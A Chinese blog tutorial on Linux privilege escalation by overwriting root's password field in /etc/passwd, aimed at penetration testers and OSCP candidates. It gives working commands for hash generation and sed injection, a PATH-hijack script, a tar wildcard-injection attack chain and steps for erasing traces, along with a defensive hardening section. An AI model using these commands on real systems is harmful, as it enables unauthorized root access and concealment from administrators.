news 2026/7/6 23:09:15

Linux权限提升实战:利用替代密码机制从低权限到Root

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Linux权限提升实战:利用替代密码机制从低权限到Root

1. 项目概述:从“替代密码”到权限的跨越

在渗透测试和红队评估的实战中,Linux权限提升(Privilege Escalation)往往是突破内网、获取关键资产控制权的核心环节。我们常常花费大量时间枚举SUID文件、内核漏洞、定时任务,却容易忽略那些“安静”地躺在系统配置文件里的机会。今天要聊的这个技巧,就属于这种“安静”但极其有效的类型——利用替代密码(Alternate Password)实现提权。

简单来说,Linux系统除了我们熟知的/etc/shadow文件存储用户密码哈希外,还存在其他几种认证机制。其中,/etc/passwd文件在历史上就曾直接存储密码(虽然现在通常只放一个占位符x),而/etc/shadow则是更安全的密码存储位置。但系统为了兼容古老的程序或特定的配置,有时会允许使用/etc/passwd文件中的密码字段进行认证,这就是所谓的“替代密码”或“第二密码”。如果一个低权限用户能够向/etc/passwd文件中某个高权限用户(如root)的记录行写入一个已知的密码哈希,那么他就可以直接用这个密码切换到该高权限用户。

这听起来像是系统配置错误或管理员疏忽留下的后门,但在某些老旧系统、特定发行版默认配置或配置了特定PAM(可插拔认证模块)模块的环境中,它确实可能存在。对于OSCP这类注重基础和实战的认证考试,以及日常的渗透测试,掌握这种手法意味着你多了一种绕过常规防御、直击核心的武器。它不依赖于复杂的漏洞利用,纯粹是配置审计和权限滥用的结果,非常适合在信息收集阶段发现蛛丝马迹后快速尝试。

2. 核心原理与前置知识拆解

要理解并成功利用替代密码提权,我们需要先厘清几个关键概念和Linux认证的基本流程。

2.1 Linux用户认证的演进:从passwd到shadow

早期的Unix系统将用户的基本信息和加密后的密码都存放在/etc/passwd文件中。每一行代表一个用户,字段由冒号分隔,例如:

root:x:0:0:root:/root:/bin/bash

第二个字段就是密码字段。最初,这里存放的是经过DES加密的密码哈希。然而,/etc/passwd文件需要对所有用户可读(因为许多工具需要读取用户ID、家目录等信息),这就导致密码哈希暴露在众目睽睽之下,易于被暴力破解。

为了提高安全性,现代Linux系统引入了影子密码机制。密码哈希被转移到了/etc/shadow文件,该文件只有root用户可读。相应地,/etc/passwd文件中的密码字段被一个占位符x替代,表示真正的密码哈希在/etc/shadow中。认证时,系统会检查/etc/passwd的第二个字段:

  • 如果是x,则去/etc/shadow查找对应哈希进行验证。
  • 如果是其他字符(一个有效的密码哈希),则直接使用这个哈希进行验证,而不会去查询/etc/shadow

这个“其他字符”就是我们的突破口。如果我们在root用户的密码字段(第二个字段)写入一个我们已知明文密码的哈希,那么我们就可以用这个密码切换到root。

2.2 PAM配置与认证源

Linux的认证过程主要由PAM模块控制。PAM的配置文件通常位于/etc/pam.d/目录下,例如common-auth,system-auth,su,login等。这些配置文件定义了认证的堆栈(stack),即按顺序调用哪些模块来验证用户。

关键点在于pam_unix.so模块。这个模块负责传统的Unix密码认证。它的一个参数use_authtok和认证源有关,但更直接相关的是它的默认行为:它会同时检查/etc/passwd/etc/shadow。具体逻辑是:

  1. 如果/etc/passwd中用户的密码字段不是x,则尝试用该字段的哈希进行认证。
  2. 如果是x,则转而使用/etc/shadow中的哈希。

因此,只要PAM配置中包含了pam_unix.so模块(这几乎是标配),并且我们没有通过其他模块参数显式禁用对/etc/passwd的检查,那么写入/etc/passwd的替代密码就是有效的。

2.3 提权路径的逻辑闭环

整个利用链条可以概括为以下几步:

  1. 信息收集与漏洞发现:通过低权限shell,发现我们对/etc/passwd文件有写权限,或者发现某个具有SUID权限的命令/脚本可以间接修改它。
  2. 哈希生成:选择一个我们知道的明文密码,使用系统相同的加密算法(如SHA-512)生成其密码哈希。
  3. 哈希注入:将生成的哈希值,覆盖目标高权限用户(首选root)在/etc/passwd文件中的密码字段(第二个字段)。
  4. 权限切换:使用我们设定的明文密码,通过suloginssh等方式,认证并切换到高权限用户。

这个链条的核心前提是/etc/passwd文件的写权限。获得这个权限的方式,就是我们接下来要深入探讨的重点。

3. 攻击面枚举:如何获得/etc/passwd的写权限

一个低权限用户通常无法直接修改/etc/passwd。我们需要寻找系统配置、权限设置或程序逻辑上的缺陷。以下是几种常见的场景。

3.1 文件权限配置错误

这是最直接的情况。使用ls -la /etc/passwd命令检查文件权限。

-rw-r--r-- 1 root root 1641 May 10 10:00 /etc/passwd

正常的权限应该是-rw-r--r--,即root可读写,其他用户只读。 如果发现权限是-rw-rw-rw-(所有用户可写)或者你的当前用户属于文件所属组且组权限是rw-,那么你就可以直接编辑它。

实操心得:在自动化枚举脚本中,我通常会这样快速检查:

find /etc -name passwd -type f \( -perm -o+w -o -perm -g+w \) 2>/dev/null

这条命令会查找/etc目录下名为passwd的普通文件,并且其权限是“其他用户可写(o+w)”或“同组用户可写(g+w)”。虽然/etc/passwd通常就在/etc下,但这样写更通用。

3.2 利用具有SUID权限的编辑器或命令

某些命令如果设置了SUID位,并且以root身份运行,那么通过它们就有可能修改root拥有的文件。

  • vim/vi/nano:如果这些编辑器有SUID位,你可以在其中打开/etc/passwd并修改。检查命令:find / -type f -perm -u=s -name \"vim\" 2>/dev/null
  • ed/ex:一些更古老的行编辑器。
  • 自定义脚本或程序:管理员可能写了一些用于管理用户的脚本,并错误地设置了SUID。用find / -type f -perm -u=s 2>/dev/null列出所有SUID文件,然后逐一分析其功能。

利用示例(以SUID的vim为例)

# 1. 检查vim是否SUID且属于root ls -la /usr/bin/vim # 如果显示 -rwsr-xr-x 1 root root ... ,则可以利用 # 2. 使用vim打开/etc/passwd /usr/bin/vim /etc/passwd # 3. 在vim内,找到root行,替换密码字段 # 原始行:root:x:0:0:root:/root:/bin/bash # 修改为:root:$6$salt$hashed_password:0:0:root:/root:/bin/bash # 然后保存退出(:wq)

注意事项:现代系统对SUID的管理比较严格,常见的编辑器很少默认带SUID。但在一些容器环境、老旧系统或特定配置的生产环境中,仍有可能遇到。

3.3 利用符号链接(Symlink)攻击

如果存在一个以root权限运行的程序或定时任务(cron job),它会向一个由我们控制路径的文件写入内容,我们就可以通过符号链接将其指向/etc/passwd

典型场景

  1. 有一个定时任务,每分钟以root身份执行:echo \"some log\" >> /var/log/app.log
  2. 我们发现/var/log/app.log不存在,或者我们有权限删除/移动它。
  3. 我们删除或移动原来的app.log,然后创建一个指向/etc/passwd的符号链接:
    rm /var/log/app.log ln -s /etc/passwd /var/log/app.log
  4. 当下一次定时任务执行时,“some log”就会被追加到/etc/passwd文件的末尾,这通常会破坏文件格式导致系统问题,但如果我们精心构造写入的内容,就有可能添加一个我们控制密码的新用户。

这种方法更常用于添加用户而非直接修改root密码,因为向/etc/passwd追加一行比修改其中一行中间的内容更容易实现。

3.4 利用不安全的备份或副本

有时管理员会创建/etc/passwd的备份文件,如/etc/passwd.bak,/tmp/passwd.bak等,并且这些备份文件的权限设置可能更宽松。如果我们能修改备份文件,并且在某个时刻(如系统恢复脚本执行时)该备份文件会覆盖原始的/etc/passwd,那么也能达到目的。这需要结合对系统流程更深入的了解。

4. 实操过程:从哈希生成到Root Shell

假设我们已经通过某种方式(例如,发现/etc/passwd全局可写)获得了修改权限。接下来是具体的操作步骤。

4.1 步骤一:生成一个可靠的密码哈希

我们不能直接把明文密码写进去,必须写入其加密后的哈希值。Linux系统使用crypt(3)函数进行密码加密。我们可以使用opensslmkpasswd命令来生成。

方法A:使用openssl(推荐)

# 生成SHA-512加密的哈希(这是现代Linux的默认方式) openssl passwd -6 -salt $(openssl rand -base64 6) 'YourPasswordHere'
  • -6指定使用SHA-512算法。
  • -salt后面跟盐值。盐值应该随机生成以增强安全性,这里用openssl rand -base64 6生成一个随机的Base64字符串作为盐。盐值会包含在最终的哈希字符串中。
  • 'YourPasswordHere'替换为你想要设置的密码。

执行后,你会得到一个类似这样的字符串:

$6$RANDOMSALT$Xr4ip8B98K7e5fF7oZ6Lp5Jz8Lc1dE0qYkL9mN0oB7cC5vH6sD3fG4hJ5jK6l

这个字符串就是我们要写入/etc/passwd的密码字段。它由三部分组成,以$分隔:$6表示算法(SHA-512),$RANDOMSALT是盐值,后面一长串才是真正的哈希。

方法B:使用mkpasswd(部分发行版需要安装whois包)

mkpasswd -m sha-512 'YourPasswordHere' $(openssl rand -base64 6)

输出格式与openssl类似。

重要提示:务必记录下你使用的盐值和密码。因为最终认证时,你需要输入明文密码,系统会用相同的盐值对输入的密码进行哈希计算,然后与存储的哈希比对。

4.2 步骤二:编辑/etc/passwd文件

警告:操作前务必备份!错误的编辑可能导致所有用户无法登录。

cp /etc/passwd /tmp/passwd.backup

现在,使用你有写权限的方式编辑文件。如果是直接文件可写,可以用vinano或者sed

# 使用sed命令直接替换root行的密码字段 # 假设生成的哈希是:$6$RANDOMSALT$Xr4ip8B98K7e5fF7oZ6Lp5Jz8Lc1dE0qYkL9mN0oB7cC5vH6sD3fG4hJ5jK6l # 原始行:root:x:0:0:root:/root:/bin/bash # 方法1:使用sed进行原地编辑(-i参数) sudo sed -i 's/^root:x:/root:$6$RANDOMSALT$Xr4ip8B98K7e5fF7oZ6Lp5Jz8Lc1dE0qYkL9mN0oB7cC5vH6sD3fG4hJ5jK6l:/' /etc/passwd # 方法2:手动编辑(更安全,便于检查) # 先复制一份到临时位置编辑 cp /etc/passwd /tmp/passwd.tmp vi /tmp/passwd.tmp # 在vi中找到root行,将 `x` 替换为完整的哈希字符串,保存退出。 # 检查无误后,覆盖原文件 cat /tmp/passwd.tmp > /etc/passwd

编辑后的root行应该看起来像这样:

root:$6$RANDOMSALT$Xr4ip8B98K7e5fF7oZ6Lp5Jz8Lc1dE0qYkL9mN0oB7cC5vH6sD3fG4hJ5jK6l:0:0:root:/root:/bin/bash

4.3 步骤三:验证与切换权限

编辑完成后,最安全的验证方法是开启一个新的会话。

  1. 本地切换:如果你有物理终端或图形界面,直接切换到另一个TTY(如Ctrl+Alt+F2),在登录提示符处输入root和你设置的密码。
  2. 使用su命令:在当前shell中尝试切换。
    su root # 或者 su -
    输入你设置的密码。如果成功,提示符会变成#
  3. 使用ssh:如果SSH服务正在运行,可以从另一台机器尝试登录。
    ssh root@靶机IP

成功的关键标志:不再需要原来的root密码(或者原来就没有密码),使用你新设置的密码即可成功认证。

4.4 步骤四:善后与痕迹清理(可选)

在渗透测试中,获取权限后通常需要清理痕迹。但对于这种修改,恢复原状可能更好,以免影响系统稳定性或引起管理员警觉。

  1. 恢复/etc/passwd:将备份的文件复制回来。
    cp /tmp/passwd.backup /etc/passwd
  2. 清除命令历史:清除当前用户和root用户的命令历史。
    # 清除当前用户历史 history -c && history -w # 如果是bash,也可以清空文件 echo > ~/.bash_history # 清除root历史(如果你已经切换) echo > /root/.bash_history
  3. 修改文件时间戳:使用touch命令将/etc/passwd的时间戳改回接近其他系统文件的时间,但这在专业的取证面前作用有限。

实操心得:在真实的评估中,我倾向于在修改后立即完成目标(如抓取哈希、查看敏感文件),然后迅速恢复/etc/passwd。长时间保留这种修改风险很高,因为任何用户管理操作(如useradd)或系统审计都可能发现异常。

5. 防御措施与管理员视角

了解了攻击手法,从防御和系统加固的角度,我们应该如何做?

5.1 严格的文件权限管理

这是最根本的防御。确保/etc/passwd/etc/shadow的权限正确无误。

# 正确的权限设置 chmod 644 /etc/passwd # -rw-r--r-- chmod 000 /etc/shadow # ---------- (某些系统是400或600) chown root:root /etc/passwd /etc/shadow

定期使用类似lynistripwireaide等完整性检查工具,监控这些关键文件的变化。

5.2 审计SUID/SGID文件

定期审查系统上的SUID/SGID文件,移除不必要的特权程序。

# 查找所有SUID文件 find / -type f -perm -4000 -ls 2>/dev/null # 查找所有SGID文件 find / -type f -perm -2000 -ls 2>/dev/null

对于像vim,nano,ed,more,less等编辑器或查看器,绝对不应该设置SUID位。如果发现,应立即移除:chmod u-s /path/to/file

5.3 配置PAM强化认证

虽然默认的pam_unix.so会检查/etc/passwd,但我们可以通过配置来强化策略。不过,更常见的做法是依赖文件系统权限作为主要防线,PAM配置作为深度防御。可以研究pam_wheel.so(限制su到root的用户)、pam_tally2.so(失败登录锁定)等模块来增加攻击难度。

5.4 使用集中化认证

对于企业环境,考虑使用LDAP、Kerberos或FreeIPA等集中化认证系统。这样,本地/etc/passwd/etc/shadow文件中的用户将大大减少,甚至只有系统账户,从而缩小了攻击面。

5.5 定期安全审计与渗透测试

主动进行安全审计和渗透测试(包括授权下的内部提权测试),是发现此类配置问题的最佳方式。使用像LinPEASLinuxSmartEnumerationLES (Linux Exploit Suggester)这样的自动化枚举脚本,可以快速发现文件权限问题、可疑的SUID文件等。

6. 拓展场景与组合利用

替代密码提权很少是独立存在的,它往往与其他漏洞或错误配置结合,形成攻击链。

6.1 结合路径注入(PATH Manipulation)

假设我们发现一个以root权限运行的SUID脚本,它内部调用了vim(但没有使用绝对路径/usr/bin/vim)。那么我们可以通过控制PATH环境变量,让我们自己的恶意脚本被当作vim执行。在我们的恶意脚本中,就可以包含修改/etc/passwd的代码。

示例恶意脚本 (/tmp/evil_vim):

#!/bin/bash # 这是一个伪装成vim的脚本 # 首先,执行我们真正的提权操作 echo \"root:$6$salt$hashed_password:0:0:root:/root:/bin/bash\" >> /etc/passwd 2>/dev/null # 然后,为了不引起怀疑,可以调用真正的vim(如果存在的话) /usr/bin/vim \"$@\"

然后设置PATH并执行SUID脚本:

export PATH=/tmp:$PATH # 执行那个SUID脚本,它会调用‘vim’,实际执行了我们的/tmp/evil_vim

6.2 结合通配符注入(Wildcard Injection)

如果有一个root权限的cron job或脚本,使用了tarchown等命令,并且参数中包含了通配符*,而我们可以控制当前目录下的文件名,就可能实现注入。例如,一个备份脚本:

tar -czf /backup/backup.tar.gz *

如果我们在该目录下创建一个名为--checkpoint=1--checkpoint-action=exec=sh shell.sh的文件,那么当tar命令执行时,这些文件名会被当作参数解析,从而执行我们的shell.sh。在shell.sh中,我们就可以尝试修改/etc/passwd

6.3 在Docker容器内的特殊考量

在Docker容器中,情况略有不同。很多容器以root用户运行,但并没有完整的Linux用户体系。/etc/passwd文件可能很简单。然而,如果容器需要与宿主机共享卷(volume),并且挂载了宿主机的/etc/passwd,那么在容器内修改该文件,就会直接影响宿主机,这是一个非常危险的权限提升路径(容器逃逸)。防御方法是避免将敏感的宿主机目录挂载到容器中,或者以只读方式挂载。

7. 自动化枚举与工具使用

手动枚举效率低下,实战中我们依赖工具。这里介绍如何用常见的枚举脚本发现此类漏洞。

7.1 使用LinPEAS进行快速枚举

LinPEAS是最强大的Linux本地提权枚举脚本之一。它会自动检查:

  • /etc/passwd/etc/shadow的文件权限。
  • 所有SUID/SGID文件。
  • 可写的系统路径、cron jobs、服务、进程等。

运行方式:

# 下载并执行 curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # 或者先下载再执行 wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh ./linpeas.sh

在输出中,重点关注以下部分:

  • [+] World-writable files (not in Docker or systemd):这里可能会列出/etc/passwd
  • [+] SUID - Check easy privesc, exploits and write perms:检查可疑的SUID文件。
  • [+] Files with ACLs (limited to 50):访问控制列表异常的文件。

7.2 手动检查命令备忘单

如果无法运行外部脚本,以下命令组合是一个精简的检查清单:

# 1. 检查/etc/passwd权限 ls -la /etc/passwd # 2. 检查所有可写文件 find /etc -type f -writable 2>/dev/null | grep -v \"/proc/\" # 3. 检查SUID文件 find / -type f -perm -u=s -ls 2>/dev/null | head -20 # 4. 检查以root运行的cron jobs cat /etc/crontab ls -la /etc/cron.*/ crontab -l 2>/dev/null # 5. 检查系统进程和网络连接 ps aux | grep root netstat -tulpn

8. 从理论到实战:一个模拟案例

让我们串联起所有知识点,模拟一个完整的攻击场景。

场景设定: 你通过一个Web应用漏洞获得了www-data用户的低权限shell。初步信息收集发现这是一个Ubuntu 18.04系统。

攻击流程

  1. 初步枚举

    id # uid=33(www-data) gid=33(www-data) groups=33(www-data) ls -la /etc/passwd # -rw-r--r-- 1 root root 1641 ... # 正常,不可写 find / -type f -perm -u=s -ls 2>/dev/null | grep -E \"(vim|vi|nano|ed|ex)\" # 无结果
  2. 深入枚举:使用linpeas.sh或手动检查cron。

    cat /etc/crontab

    发现一行:

    * * * * * root /opt/scripts/backup_log.sh
  3. 分析Cron Job

    ls -la /opt/scripts/backup_log.sh # -rwxr-xr-x 1 root root 89 ... cat /opt/scripts/backup_log.sh

    脚本内容:

    #!/bin/bash cd /var/log/myapp tar -czf /backups/$(date +%s).tar.gz *.log
  4. 发现漏洞:脚本在/var/log/myapp目录下执行,使用通配符*.log,并且该目录www-data用户可写(因为Web应用写日志)。

    ls -la /var/log/myapp # drwxrwx-wx 2 root www-data 4096 ... # www-data有写权限
  5. 构造攻击:利用tar的通配符注入漏洞。

    cd /var/log/myapp # 创建注入文件 echo \"#!/bin/bash\" > shell.sh echo \"openssl passwd -6 -salt mysalt mynewrootpass > /tmp/hash.txt\" >> shell.sh echo \"HASH=$(cat /tmp/hash.txt)\" >> shell.sh echo \"sed -i \\\"s/^root:x:/root:$HASH:/\\\" /etc/passwd\" >> shell.sh chmod +x shell.sh # 创建触发tar执行shell.sh的文件 touch -- \"--checkpoint=1\" touch -- \"--checkpoint-action=exec=sh shell.sh\" # 创建一个.log文件以满足通配符匹配 touch exploit.log
  6. 等待与验证:等待下一分钟cron执行。执行后,检查/etc/passwd中root行的密码字段是否已被修改。

  7. 提权:使用密码mynewrootpass执行su root

这个案例展示了如何将替代密码提权与其他漏洞(通配符注入)结合,形成一条完整的攻击链。关键在于敏锐地发现配置缺陷和逻辑漏洞,并将其转化为对关键文件的写权限。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/6 23:08:41

SQL子查询性能优化:从执行原理到避坑实战

1. 为什么你写的SQL总在“查不到想要的数据”?——从一条被忽略的子查询开始 你有没有过这样的经历:明明表里有数据, SELECT * FROM orders WHERE customer_id IN (SELECT id FROM customers WHERE city Shanghai) 却返回空结果&#xff1…

作者头像 李华
网站建设 2026/7/6 22:52:14

从零掌握OpenAI Codex:AI编程助手实战指南与API调用详解

🚀 30款热门AI模型一站整合,DeepSeek/GLM/Qwen 随心用,限时 5 折。 👉 点击领海量免费额度 你好,我是专注于技术实战分享的博主。在探索AI辅助编程工具时,你是否遇到过这样的困境:面对一个复…

作者头像 李华
网站建设 2026/7/6 22:52:03

Ubuntu 22.04 LTS 实时监控:htop 与 glances 的 5 项关键指标对比

Ubuntu 22.04 LTS 实时监控:htop 与 glances 的 5 项关键指标对比在 Ubuntu 22.04 LTS 服务器环境中,系统管理员和 DevOps 工程师经常需要实时监控系统性能。面对众多监控工具,如何选择最适合的工具成为关键问题。本文将深入对比两款流行的命…

作者头像 李华
网站建设 2026/7/6 22:51:15

React Profiler 排查:看到重渲染,还要知道谁点的火

React Profiler 排查:看到重渲染,还要知道谁点的火 一、Profiler 不是用来截图发群里的 React 性能排查时,Profiler 很有用。它能看到组件渲染次数、耗时和提交阶段。但很多人只截一张火焰图,说“这里重渲染了”。这还不够。重渲…

作者头像 李华
网站建设 2026/7/6 22:49:17

关系幂运算在数据库查询优化中的应用:从 3 个案例看传递闭包计算

关系幂运算在数据库查询优化中的应用:从3个案例看传递闭包计算关系幂运算作为离散数学中的重要概念,在数据库系统优化中扮演着关键角色。本文将深入探讨传递闭包计算在社交网络推荐、权限继承和路径可达性三大场景中的实际应用,为数据库工程师…

作者头像 李华